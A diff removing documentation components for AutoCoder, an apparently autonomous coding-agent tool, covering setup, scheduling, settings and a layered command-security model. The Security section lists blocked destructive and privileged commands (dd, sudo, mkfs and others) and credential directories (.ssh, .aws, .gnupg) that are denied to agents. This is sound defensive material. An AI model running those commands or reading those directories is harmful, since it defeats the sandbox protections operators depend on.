<h3 id="feature-dependencies" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Feature Dependencies
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Features can declare dependencies on other features, ensuring they are implemented in the
|
||||
correct order.
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Set dependencies in the feature edit modal</li>
|
||||
<li>
|
||||
Cycle detection prevents circular dependencies (uses Kahn's algorithm combined
|
||||
with DFS)
|
||||
</li>
|
||||
<li>
|
||||
Blocked features display a lock icon and cannot be claimed by agents until their
|
||||
dependencies are met
|
||||
</li>
|
||||
<li>The Dependency Graph view makes these relationships easy to visualize</li>
|
||||
</ul>
|
||||
|
||||
{/* Expanding Project with AI */}
|
||||
<h3 id="expanding-with-ai" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Expanding Project with AI
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Press <Badge variant="secondary">E</Badge> to open the Expand Project modal
|
||||
</li>
|
||||
<li>Chat with Claude to describe the new features you want to add</li>
|
||||
<li>Supports image attachments for UI mockups or design references</li>
|
||||
<li>Claude creates properly structured features with appropriate dependencies</li>
|
||||
<li>New features appear on the board immediately after creation</li>
|
||||
</ul>
|
||||
|
||||
{/* Priority & Ordering */}
|
||||
<h3 id="feature-priority" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Priority & Ordering
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Features are ordered by priority: <Badge variant="secondary">P1</Badge> is the highest
|
||||
and <Badge variant="secondary">P5</Badge> is the lowest
|
||||
</li>
|
||||
<li>Within the same priority level, features are ordered by creation time</li>
|
||||
<li>Agents always pick up the highest-priority ready feature first</li>
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,134 +0,0 @@
|
||||
/**
|
||||
* GettingStarted Documentation Section
|
||||
*
|
||||
* Covers what AutoCoder is, quick start commands,
|
||||
* creating and adding projects, and system requirements.
|
||||
*/
|
||||
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
export function GettingStarted() {
|
||||
return (
|
||||
<div>
|
||||
{/* What is AutoCoder? */}
|
||||
<h3 id="what-is-autocoder" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
What is AutoCoder?
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-4">
|
||||
AutoCoder is an autonomous coding agent system that builds complete applications over multiple
|
||||
sessions using a two-agent pattern:
|
||||
</p>
|
||||
<ol className="list-decimal space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
<strong className="text-foreground">Initializer Agent</strong> — reads your app spec
|
||||
and creates features in a SQLite database
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">Coding Agent</strong> — implements features one by
|
||||
one, marking each as passing when complete
|
||||
</li>
|
||||
</ol>
|
||||
<p className="text-muted-foreground mt-4">
|
||||
It comes with a React-based UI for monitoring progress, managing features, and controlling agents
|
||||
in real time.
|
||||
</p>
|
||||
|
||||
{/* Quick Start */}
|
||||
<h3 id="quick-start" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Quick Start
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Launch AutoCoder with a single command. The CLI menu lets you create or select a project,
|
||||
while the Web UI provides a full dashboard experience.
|
||||
</p>
|
||||
<div className="bg-muted rounded-lg p-4 font-mono text-sm">
|
||||
<pre><code>{`# Windows
|
||||
start.bat # CLI menu
|
||||
start_ui.bat # Web UI
|
||||
|
||||
# macOS/Linux
|
||||
./start.sh # CLI menu
|
||||
./start_ui.sh # Web UI`}</code></pre>
|
||||
</div>
|
||||
|
||||
{/* Creating a New Project */}
|
||||
<h3 id="creating-a-project" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Creating a New Project
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
From the UI, click the project dropdown and select{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">Create New Project</span>
|
||||
</li>
|
||||
<li>Enter a name and select or browse to a folder for the project</li>
|
||||
<li>
|
||||
Create an app spec interactively with Claude, or write one manually in XML format
|
||||
</li>
|
||||
<li>
|
||||
The initializer agent reads your spec and creates features automatically
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Adding to an Existing Project */}
|
||||
<h3 id="existing-project" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Adding to an Existing Project
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Register the project folder via the UI project selector</li>
|
||||
<li>
|
||||
AutoCoder creates a{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.autocoder/</span>{' '}
|
||||
directory inside your project
|
||||
</li>
|
||||
<li>
|
||||
Existing code is preserved — AutoCoder adds its configuration alongside it
|
||||
</li>
|
||||
<li>Write or generate an app spec describing what to build</li>
|
||||
</ul>
|
||||
|
||||
{/* System Requirements */}
|
||||
<h3 id="system-requirements" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
System Requirements
|
||||
</h3>
|
||||
<table className="w-full text-sm mt-3">
|
||||
<thead>
|
||||
<tr className="bg-muted/50">
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Requirement
|
||||
</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Details
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="text-muted-foreground">
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">Python</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="secondary">3.11+</Badge>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">Node.js</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="secondary">20+</Badge>{' '}
|
||||
<span className="text-xs">(for UI development)</span>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">Claude Code CLI</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
Required for running agents
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">Operating System</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
Windows, macOS, or Linux
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,162 +0,0 @@
|
||||
/**
|
||||
* ProjectStructure Documentation Section
|
||||
*
|
||||
* Covers the .autocoder/ directory layout, features database,
|
||||
* prompts directory, allowed commands, CLAUDE.md convention,
|
||||
* legacy migration, and Claude inheritance.
|
||||
*/
|
||||
|
||||
export function ProjectStructure() {
|
||||
return (
|
||||
<div>
|
||||
{/* .autocoder/ Directory Layout */}
|
||||
<h3 id="autocoder-directory" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
.autocoder/ Directory Layout
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Every AutoCoder project stores its configuration and runtime files in a{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.autocoder/</span>{' '}
|
||||
directory at the project root.
|
||||
</p>
|
||||
<div className="bg-muted rounded-lg p-4 font-mono text-sm">
|
||||
<pre><code>{`your-project/
|
||||
\u251C\u2500\u2500 .autocoder/
|
||||
\u2502 \u251C\u2500\u2500 features.db # SQLite feature database
|
||||
\u2502 \u251C\u2500\u2500 .agent.lock # Lock file (prevents multiple instances)
|
||||
\u2502 \u251C\u2500\u2500 .gitignore # Ignores runtime files
|
||||
\u2502 \u251C\u2500\u2500 allowed_commands.yaml # Per-project bash command allowlist
|
||||
\u2502 \u2514\u2500\u2500 prompts/
|
||||
\u2502 \u251C\u2500\u2500 app_spec.txt # Application specification (XML)
|
||||
\u2502 \u251C\u2500\u2500 initializer_prompt.md # First session prompt
|
||||
\u2502 \u2514\u2500\u2500 coding_prompt.md # Continuation session prompt
|
||||
\u251C\u2500\u2500 CLAUDE.md # Claude Code convention file
|
||||
\u2514\u2500\u2500 app_spec.txt # Root copy for template compatibility`}</code></pre>
|
||||
</div>
|
||||
|
||||
{/* Features Database */}
|
||||
<h3 id="features-db" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Features Database
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
SQLite database managed by SQLAlchemy, stored at{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
.autocoder/features.db
|
||||
</span>
|
||||
</li>
|
||||
<li>
|
||||
Each feature record includes: id, priority, category, name, description, steps, status
|
||||
(<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">pending</span>,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">in_progress</span>,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">passing</span>,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">failing</span>),
|
||||
and dependencies
|
||||
</li>
|
||||
<li>Agents interact with features through MCP server tools, not direct database access</li>
|
||||
<li>Viewable in the UI via the Kanban board or the Dependency Graph view</li>
|
||||
</ul>
|
||||
|
||||
{/* Prompts Directory */}
|
||||
<h3 id="prompts-directory" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Prompts Directory
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Prompts control how agents behave during each session:
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">app_spec.txt</span>{' '}
|
||||
— your application specification in XML format
|
||||
</li>
|
||||
<li>
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
initializer_prompt.md
|
||||
</span>{' '}
|
||||
— prompt for the initializer agent (creates features from the spec)
|
||||
</li>
|
||||
<li>
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
coding_prompt.md
|
||||
</span>{' '}
|
||||
— prompt for coding agents (implements features)
|
||||
</li>
|
||||
</ul>
|
||||
<p className="text-muted-foreground mt-3">
|
||||
These can be customized per project. If not present, defaults from{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
.claude/templates/
|
||||
</span>{' '}
|
||||
are used as a fallback.
|
||||
</p>
|
||||
|
||||
{/* Allowed Commands Config */}
|
||||
<h3 id="allowed-commands-yaml" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Allowed Commands Config
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
The optional{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
.autocoder/allowed_commands.yaml
|
||||
</span>{' '}
|
||||
file lets you grant project-specific bash commands to the agent. This is useful when your
|
||||
project requires tools beyond the default allowlist (e.g., language-specific compilers or
|
||||
custom build scripts).
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
See the <strong className="text-foreground">Security</strong> section for full details on
|
||||
the command hierarchy and how project-level commands interact with global and organization
|
||||
policies.
|
||||
</p>
|
||||
|
||||
{/* CLAUDE.md Convention */}
|
||||
<h3 id="claude-md" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
CLAUDE.md Convention
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">CLAUDE.md</span>{' '}
|
||||
lives at the project root, as required by the Claude Code SDK
|
||||
</li>
|
||||
<li>
|
||||
Contains project-specific instructions that the agent follows during every coding session
|
||||
</li>
|
||||
<li>
|
||||
Automatically inherited by all agents working on the project — no additional
|
||||
configuration needed
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Legacy Layout Migration */}
|
||||
<h3 id="legacy-migration" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Legacy Layout Migration
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Older projects stored configuration files directly at the project root (e.g.,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">features.db</span>,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">prompts/</span>).
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
On the next agent start, these files are automatically migrated into{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.autocoder/</span>
|
||||
</li>
|
||||
<li>Dual-path resolution ensures both old and new layouts work transparently</li>
|
||||
<li>No manual migration is needed — it happens seamlessly</li>
|
||||
</ul>
|
||||
|
||||
{/* Claude Inheritance */}
|
||||
<h3 id="claude-inheritance" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Claude Inheritance
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Agents inherit all MCP servers, tools, skills, custom commands, and{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">CLAUDE.md</span>{' '}
|
||||
from the target project folder.
|
||||
</p>
|
||||
<div className="border-l-4 border-primary pl-4 italic text-muted-foreground">
|
||||
If your project has its own MCP servers or Claude commands, the coding agent can use them.
|
||||
The agent essentially runs as if Claude Code was opened in your project directory.
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,102 +0,0 @@
|
||||
/**
|
||||
* Scheduling Documentation Section
|
||||
*
|
||||
* Covers schedule creation, per-schedule settings,
|
||||
* overrides, and crash recovery with exponential backoff.
|
||||
*/
|
||||
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
export function Scheduling() {
|
||||
return (
|
||||
<div>
|
||||
{/* What Scheduling Does */}
|
||||
<h3 id="what-scheduling-does" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
What Scheduling Does
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-4">
|
||||
Scheduling automates agent runs at specific times. Set up a schedule and AutoCoder will automatically
|
||||
start agents on your project — useful for overnight builds, periodic maintenance, or continuous
|
||||
development.
|
||||
</p>
|
||||
|
||||
{/* Creating a Schedule */}
|
||||
<h3 id="creating-schedule" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Creating a Schedule
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Click the clock icon in the header to open the Schedule modal</li>
|
||||
<li>Set: start time, duration (how long agents run), days of the week</li>
|
||||
<li>Optionally configure: YOLO mode, concurrency, model selection</li>
|
||||
<li>Schedule is saved and starts at the next matching time</li>
|
||||
</ul>
|
||||
|
||||
{/* Schedule Settings */}
|
||||
<h3 id="schedule-settings" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Schedule Settings
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Each schedule can override global settings:
|
||||
</p>
|
||||
<table className="w-full text-sm mt-3">
|
||||
<thead>
|
||||
<tr className="bg-muted/50">
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">Setting</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">Details</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="text-muted-foreground">
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">YOLO mode</td>
|
||||
<td className="border border-border px-3 py-2">On/off per schedule</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">Concurrency</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="secondary">1–5</Badge> agents
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">Model tier</td>
|
||||
<td className="border border-border px-3 py-2">Opus / Sonnet / Haiku</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">Duration</td>
|
||||
<td className="border border-border px-3 py-2">How long the session runs before auto-stopping</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<div className="border-l-4 border-primary pl-4 italic text-muted-foreground mt-4">
|
||||
All schedule times are in UTC timezone.
|
||||
</div>
|
||||
|
||||
{/* Schedule Overrides */}
|
||||
<h3 id="schedule-overrides" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Schedule Overrides
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Manually skip a scheduled run (one-time override)</li>
|
||||
<li>Pause a schedule temporarily (resumes on next period)</li>
|
||||
<li>
|
||||
View upcoming runs with{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">Running until</span> /{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">Next run</span> indicators
|
||||
</li>
|
||||
<li>Override without deleting the schedule</li>
|
||||
</ul>
|
||||
|
||||
{/* Crash Recovery */}
|
||||
<h3 id="crash-recovery" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Crash Recovery
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>If a scheduled agent crashes, it uses exponential backoff for retries</li>
|
||||
<li>
|
||||
Maximum <Badge variant="secondary">3</Badge> retry attempts per scheduled run
|
||||
</li>
|
||||
<li>Backoff prevents rapid restart loops</li>
|
||||
<li>Failed runs are logged for troubleshooting</li>
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,218 +0,0 @@
|
||||
/**
|
||||
* Security Documentation Section
|
||||
*
|
||||
* Covers the defense-in-depth security model: command validation layers,
|
||||
* the hierarchical allowlist/blocklist system, per-project and org-level
|
||||
* configuration, extra read paths, and filesystem sandboxing.
|
||||
*/
|
||||
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
export function Security() {
|
||||
return (
|
||||
<div>
|
||||
{/* Command Validation Overview */}
|
||||
<h3 id="command-validation" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Command Validation Overview
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
AutoCoder uses a defense-in-depth approach for security. All three layers must pass before any
|
||||
command is executed:
|
||||
</p>
|
||||
<ol className="list-decimal space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
<strong className="text-foreground">OS-level sandbox</strong> — bash commands run inside
|
||||
a restricted sandbox environment
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">Filesystem restriction</strong> — agents can only
|
||||
access the project directory (plus configured extra read paths)
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">Hierarchical allowlist</strong> — every bash command
|
||||
is validated against a multi-level allowlist system
|
||||
</li>
|
||||
</ol>
|
||||
|
||||
{/* Command Hierarchy */}
|
||||
<h3 id="command-hierarchy" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Command Hierarchy
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Commands are evaluated against a 5-level hierarchy, from highest to lowest priority:
|
||||
</p>
|
||||
<ol className="list-decimal space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
<strong className="text-foreground">Hardcoded Blocklist</strong>{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">security.py</span>{' '}
|
||||
— NEVER allowed, cannot be overridden
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">Org Blocklist</strong>{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">~/.autocoder/config.yaml</span>{' '}
|
||||
— org-wide blocks, cannot be project-overridden
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">Org Allowlist</strong>{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">~/.autocoder/config.yaml</span>{' '}
|
||||
— available to all projects
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">Global Allowlist</strong>{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">security.py</span>{' '}
|
||||
— default commands (npm, git, curl, etc.)
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">Project Allowlist</strong>{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
.autocoder/allowed_commands.yaml
|
||||
</span>{' '}
|
||||
— project-specific additions
|
||||
</li>
|
||||
</ol>
|
||||
<blockquote className="border-l-4 border-primary pl-4 italic text-muted-foreground mt-4">
|
||||
Higher priority levels always win. A command blocked at level 1 or 2 can never be allowed by
|
||||
lower levels.
|
||||
</blockquote>
|
||||
|
||||
{/* Hardcoded Blocklist */}
|
||||
<h3 id="hardcoded-blocklist" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Hardcoded Blocklist
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
The following commands can <strong className="text-foreground">never</strong> be allowed, regardless
|
||||
of any configuration. They are hardcoded in{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">security.py</span> and
|
||||
cannot be overridden:
|
||||
</p>
|
||||
<div className="flex flex-wrap gap-2">
|
||||
{['dd', 'sudo', 'su', 'shutdown', 'reboot', 'poweroff', 'mkfs', 'fdisk', 'mount', 'umount', 'systemctl'].map(
|
||||
(cmd) => (
|
||||
<Badge key={cmd} variant="destructive">
|
||||
{cmd}
|
||||
</Badge>
|
||||
),
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Global Allowlist */}
|
||||
<h3 id="global-allowlist" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Global Allowlist
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Default commands available to all projects out of the box. These are the standard development
|
||||
commands needed for most projects:
|
||||
</p>
|
||||
<div className="flex flex-wrap gap-2">
|
||||
{['npm', 'npx', 'node', 'git', 'curl', 'python', 'pip', 'cat', 'ls', 'mkdir', 'cp', 'mv', 'rm', 'grep', 'find'].map(
|
||||
(cmd) => (
|
||||
<Badge key={cmd} variant="secondary">
|
||||
{cmd}
|
||||
</Badge>
|
||||
),
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Per-Project Allowed Commands */}
|
||||
<h3 id="project-allowlist" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Per-Project Allowed Commands
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Each project can define additional allowed commands in{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
.autocoder/allowed_commands.yaml
|
||||
</span>
|
||||
:
|
||||
</p>
|
||||
<div className="bg-muted rounded-lg p-4 font-mono text-sm">
|
||||
<pre><code>{`# .autocoder/allowed_commands.yaml
|
||||
version: 1
|
||||
commands:
|
||||
# Exact command name
|
||||
- name: swift
|
||||
description: Swift compiler
|
||||
|
||||
# Wildcard - matches swiftc, swiftlint, swiftformat
|
||||
- name: swift*
|
||||
description: All Swift tools (wildcard)
|
||||
|
||||
# Local project scripts
|
||||
- name: ./scripts/build.sh
|
||||
description: Project build script`}</code></pre>
|
||||
</div>
|
||||
<p className="text-muted-foreground mt-3">
|
||||
<strong className="text-foreground">Pattern matching:</strong> exact match (
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">swift</span>), wildcard (
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">swift*</span> matches swiftc,
|
||||
swiftlint, etc.), and scripts (
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">./scripts/build.sh</span>).
|
||||
Limit: 100 commands per project.
|
||||
</p>
|
||||
|
||||
{/* Organization Configuration */}
|
||||
<h3 id="org-config" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Organization Configuration
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
System administrators can set org-wide policies in{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">~/.autocoder/config.yaml</span>:
|
||||
</p>
|
||||
<div className="bg-muted rounded-lg p-4 font-mono text-sm">
|
||||
<pre><code>{`# ~/.autocoder/config.yaml
|
||||
version: 1
|
||||
|
||||
# Commands available to ALL projects
|
||||
allowed_commands:
|
||||
- name: jq
|
||||
description: JSON processor
|
||||
|
||||
# Commands blocked across ALL projects (cannot be overridden)
|
||||
blocked_commands:
|
||||
- aws # Prevent accidental cloud operations
|
||||
- kubectl # Block production deployments`}</code></pre>
|
||||
</div>
|
||||
<p className="text-muted-foreground mt-3">
|
||||
Org-level blocked commands cannot be overridden by any project configuration.
|
||||
</p>
|
||||
|
||||
{/* Extra Read Paths */}
|
||||
<h3 id="extra-read-paths" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Extra Read Paths
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Allow agents to read files from directories outside the project folder via the{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">EXTRA_READ_PATHS</span>{' '}
|
||||
environment variable:
|
||||
</p>
|
||||
<div className="bg-muted rounded-lg p-4 font-mono text-sm">
|
||||
<pre><code>EXTRA_READ_PATHS=/path/to/docs,/path/to/shared-libs</code></pre>
|
||||
</div>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground mt-3">
|
||||
<li>Must be absolute paths and must exist as directories</li>
|
||||
<li>Only read operations allowed (Read, Glob, Grep — no Write/Edit)</li>
|
||||
<li>
|
||||
Sensitive directories are always blocked:{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.ssh</span>,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.aws</span>,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.gnupg</span>,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.docker</span>,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.kube</span>, etc.
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Filesystem Sandboxing */}
|
||||
<h3 id="filesystem-sandboxing" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Filesystem Sandboxing
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Agents can only write to the project directory</li>
|
||||
<li>Read access is limited to the project directory plus configured extra read paths</li>
|
||||
<li>
|
||||
Path traversal attacks are prevented via canonicalization (
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">Path.resolve()</span>)
|
||||
</li>
|
||||
<li>File operations are validated before execution</li>
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,188 +0,0 @@
|
||||
/**
|
||||
* SettingsConfig Documentation Section
|
||||
*
|
||||
* Covers global settings: opening the modal, YOLO mode, headless browser,
|
||||
* model selection, regression agents, batch size, concurrency, and persistence.
|
||||
*/
|
||||
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
export function SettingsConfig() {
|
||||
return (
|
||||
<div>
|
||||
{/* Opening Settings */}
|
||||
<h3 id="opening-settings" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Opening Settings
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-4">
|
||||
Press the <Badge variant="secondary">,</Badge> (comma) key or click the gear icon in the header bar to
|
||||
open the Settings modal. Settings are global and apply to all projects.
|
||||
</p>
|
||||
|
||||
{/* YOLO Mode */}
|
||||
<h3 id="yolo-mode" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
YOLO Mode
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
YOLO mode is for rapid prototyping — it skips testing for faster iteration:
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
<strong className="text-foreground">What’s skipped:</strong> Regression testing, Playwright MCP
|
||||
server (browser automation disabled)
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">What still runs:</strong> Lint and type-check (to verify code
|
||||
compiles), Feature MCP server for tracking
|
||||
</li>
|
||||
<li>
|
||||
Toggle via the lightning bolt button in the UI or the{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">--yolo</span> CLI flag
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">When to use:</strong> Early prototyping when you want to scaffold
|
||||
features quickly without verification overhead
|
||||
</li>
|
||||
<li>Switch back to standard mode for production-quality development</li>
|
||||
</ul>
|
||||
|
||||
{/* Headless Browser */}
|
||||
<h3 id="headless-browser" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Headless Browser
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>When enabled, Playwright runs without a visible browser window</li>
|
||||
<li>Saves CPU/GPU resources on machines running multiple agents</li>
|
||||
<li>Tests still run fully — just no visible browser UI</li>
|
||||
<li>Toggle in settings or via the UI button</li>
|
||||
</ul>
|
||||
|
||||
{/* Model Selection */}
|
||||
<h3 id="model-selection" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Model Selection
|
||||
</h3>
|
